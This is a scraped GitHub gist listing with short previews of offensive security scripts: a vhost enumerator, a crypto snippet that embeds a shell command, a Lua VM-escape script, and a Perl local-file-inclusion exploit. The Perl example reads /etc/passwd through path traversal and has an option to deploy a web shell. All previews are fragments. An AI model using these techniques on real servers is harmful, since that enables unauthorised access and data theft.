Skip to content

Instantly share code, notes, and snippets.

View firsov's full-sized avatar

Kirill Firsov firsov

View GitHub Profile
@firsov
firsov / vhost.py
Last active March 31, 2023 21:17
Virtual host enumerator
import requests, socket, hashlib, argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from threading import Thread, BoundedSemaphore, Lock
from tqdm import tqdm
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# pip install tqdm
# Virtual host enumerator that uses a wordlist to generate potential subdomains,
#Antichat
import urllib2
def get_ciphertext(p):
assert(len(p) <= 16)
p += '#' * (16-len(p))
plain2 = int("echo \"This is a ".encode('hex'), 16)
#!/usr/bin/env python
# https://www.reddit.com/r/netsec/comments/4a93eo/analysis_of_vm_escape_by_using_lua_script/d0zcsgl
import sys
import time
import getopt
import socket
'''
Gives the hexadecimal representation of "command"
#!/usr/bin/perl -w
# perl lfi.pl http://localhost/phpinfo.php http://localhost/test.php?e=../../../../../etc/passwd
use IO::Socket;
use LWP::Simple;
# GLOBAL SETTINGS #############################################################################
$use_shell=0;# use web-shell, 1 - yes, 0 - no
$shell_file="wso2.txt"; # web-shell file
$phpcode = '';
$save_to_file = 0; # 1 - save to file z_host.txt, 0- no
$console = 1; # 1 - Work in terminal, 0 - no
<?php
date_default_timezone_set('Europe/Moscow');
header('Content-Type: text/html; charset=utf-8');
set_time_limit(0);
function ccc($url, $proxy)
{
$url = trim($url);
$proxy = trim($proxy);